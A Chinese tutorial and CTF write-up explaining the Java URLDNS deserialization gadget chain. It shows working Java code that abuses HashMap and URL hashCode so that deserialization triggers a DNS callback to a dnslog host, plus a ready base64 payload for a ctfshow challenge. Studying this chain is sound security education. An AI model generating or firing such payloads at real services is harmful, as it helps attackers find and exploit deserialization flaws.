Java URLDNS利用鏈分析
URLDNS利用鏈
我們將ysoserial-all.jar進行導入

原理分析
具體的利用點在URL類的hashcode函數(shù)中
在java中,hashcode()是Object類中的一個方法,用于返回一個對象的哈希碼(hashcode),該哈希碼是一個int類型的數(shù)值,代表了該對象的特定標識符。哈希碼的主要作用是在集合中進行元素的快速查找,比如在HashMap和HashSet中
我們寫一個demo
import java.net.MalformedURLException;
import java.net.URL;
public class urldns {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://rpttv7.dnslog.cn");
url.hashCode();
}
}其中,域名是我們自己生成的,用于被java訪問,這樣在DNS服務會有記錄
hashcode
去看hashcode方法

可以看到,這里先做了一個判斷,然后調(diào)用handler的hashcode方法。而handler是URL類中的一個屬性

接著進入handler對象

protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}這個方法傳入一個URL類作為參數(shù),依次通過調(diào)用getProtocol,getHostAddress,getFile,getPort,getRef等方法獲取到傳入的URL鏈接的Protocol(協(xié)議),HostAddress(主機地址),F(xiàn)ile(文件路徑),Port(端口),Ref(錨點,即#后面的部分),獲取完之后,對每部分調(diào)用他們的hashcode方法,將結(jié)果加到h上,最后將h返回
不過我們需要重點關注的是getHostAddress方法,該方法會返回一個IP地址,如果遇到的是域名,那么就需要發(fā)起DNS請求來將其解析成IP地址
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}如果 u.hostAddress 為空,那么調(diào)用 URL 類的 getHost 方法獲取主機地址(可以是 IP 也可以是域名),如果獲取到的主機地址不為空,那么會調(diào)用 InetAddress 類的靜態(tài)方法 getByName 并將主機名作為參數(shù)傳入。
重點來了:InetAddress.getByName 是一個強大而實用的方法,它允許我們根據(jù)主機名獲取對應的 IP 地址,并在各種網(wǎng)絡應用場景中發(fā)揮巨大的作用。
發(fā)起請求有了,反序列化在哪里呢?這就要看hashmap類。
HashMap類
作用是用來存儲內(nèi)容,內(nèi)容以鍵值對的形式存放。
import java.util.HashMap;
public class RunoobTest {
public static void main(String[] args) {
// 創(chuàng)建 HashMap 對象 Sites
HashMap<Integer, String> Sites = new HashMap<Integer, String>();
// 添加鍵值對
Sites.put(1, "Google");
Sites.put(2, "Runoob");
Sites.put(3, "Taobao");
Sites.put(4, "Zhihu");
System.out.println(Sites);
}
}
首先該類繼承了Serializable接口,一個類繼承該接口可以進行反序列化處理

并且該類還有對數(shù)據(jù)序列化的writeObject和對數(shù)據(jù)反序列化的readObject


對于java對象序列化操作的類是ObjectOutputStream,反序列化的類是ObjectInputStream
左鍵點擊ObjectOutputStream類
ObjectOutputStream,它提供了不同的方法用來序列化不同類型的對象,比如writeInt等,對于自定義類型,提供了writeBoolean、writeObject等方法。

ObjectOutputStream中進行序列化操作的時候,會判斷被序列化的對象是否自己重寫了writeObject方法,如果重寫了,就會調(diào)用被序列化對象自己的writeObject方法,如果沒有重寫,才會調(diào)用默認的序列化方法。
上面是序列化,那么HashMap類是如何對傳入的內(nèi)容進行反序列化呢?
回到readObject
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
對傳入的內(nèi)容進行反序列化,獲得key、value,然后對key傳入hash方法。我們看一下hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
如果key不為空,則進行hashCode方法,而我們在前面提到url類的hashCode方法是可以發(fā)起url請求對。現(xiàn)在需要做的就是我們需要將一個內(nèi)容傳送給hashcode方法,對該內(nèi)容反序列化獲取key和value。然后對key調(diào)用hashCode方法,如果key是url對象,url對象的hashCode方法可以發(fā)起url請求。
構(gòu)造payload
思路:創(chuàng)建hashmap類-創(chuàng)建url類,將鍵值對寫入到生成的hashmap對象中-對該對象進行序列化和反序列化。
Map hashMap = new HashMap();
URL url = new URL("http://nxh4ln.dnslog.cn");
hashMap.put(url,"steady");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();我們在上面講過ObjectOutputStream中進行序列化操作的時候,對于傳入的對象,如果該對象對應的類重寫了writeObject方法,會調(diào)用該對象的方法,所以會調(diào)用HashMap的writeObject方法
運行之后是無法發(fā)起dns請求的,原因是在執(zhí)行以上代碼的時候會執(zhí)行以下函數(shù),其中hashcode不為-1,不會繼續(xù)執(zhí)行

問題就來了我們開頭的代碼如下,也調(diào)用了hashCode方法
URL url = new URL("http://rpttv7.dnslog.cn");
url.hashCode();
為什么此時的hashcode不滿足
原因在于 hashMap.put(url,"test");
去看一下put代碼

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
以及更進一下hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}也就是說在我們反序列化之前就已經(jīng)調(diào)用過hashcode方法,此時的hashcode緩存下來,即hashcode不為-1。然后在反序列化的時候又一次調(diào)用hashcode方法,所以此時滿足條件,進而不會繼續(xù)執(zhí)行代碼發(fā)起dns請求
我們可以對hashcode與-1做判斷時打一個斷點

第二處在put下斷點

此時hashcode的值緩存為472975790

第三處我們在hashmap下的put方法下斷點

調(diào)試跟進,可以看到此時的hashcode的值,這樣在反序列化的時候是發(fā)起不了DNS請求的

歸根結(jié)底就是hashcode的值問題,修改一下就OK,所以我們用到反射的知識,在代碼運行的時候動態(tài)的修改類的屬性值,其中g(shù)etDeclaredFiled方法獲取一個類的所有成員變量,不包括基類。
Field field = u.getClass().getDeclaredField("hashCode");//獲取變量之后進行修改。
field.setAccessible(true);
field.set(u,-1);//修改變量。
最終代碼
HashMap hashMap = new HashMap();
URL url = new URL("http://plqddn.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url,"steady");
f.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); 

CTF題(web846)

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class demo {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://eeab93f8-908e-40fa-b9dd-c3d03e226eba.challenge.ctf.show/");
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
// 1. 先設一個臨時值,防止put時觸發(fā)DNS
f.set(url,1);
// 2. put進HashMap
hashMap.put(url,"steady");
// 3. 再設為-1,保證反序列化時觸發(fā)DNS
f.set(url,-1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAN2VlYWI5M2Y4LTkwOGUtNDBmYS1iOWRkLWMzZDAzZTIyNmViYS5jaGFsbGVuZ2UuY3RmLnNob3d0AAEvcQB+AAV0AARodHRwcHh0AAZzdGVhZHl4
然后URL編碼一下

到此這篇關于Java URLDNS利用鏈分析的文章就介紹到這了,更多相關Java URLDNS鏈分析內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
Idea實現(xiàn)接口的方法上無法添加@Override注解的解決方案
文章介紹了在IDEA中實現(xiàn)接口方法時無法添加@Override注解的問題及其解決方法,主要步驟包括更改項目結(jié)構(gòu)中的Language level到支持該注解的版本,以及在pom.xml文件中指定maven-compiler-plugin的版本以解決自動更新后的問題2025-02-02
springboot+mybaties項目中掃描不到@mapper注解的解決方法
本文主要介紹了springboot+mybaties項目中掃描不到@mapper注解的解決方法,該報錯表明掃描不到Mapper層,具有一定的參考價值,感興趣的可以了解一下2024-05-05

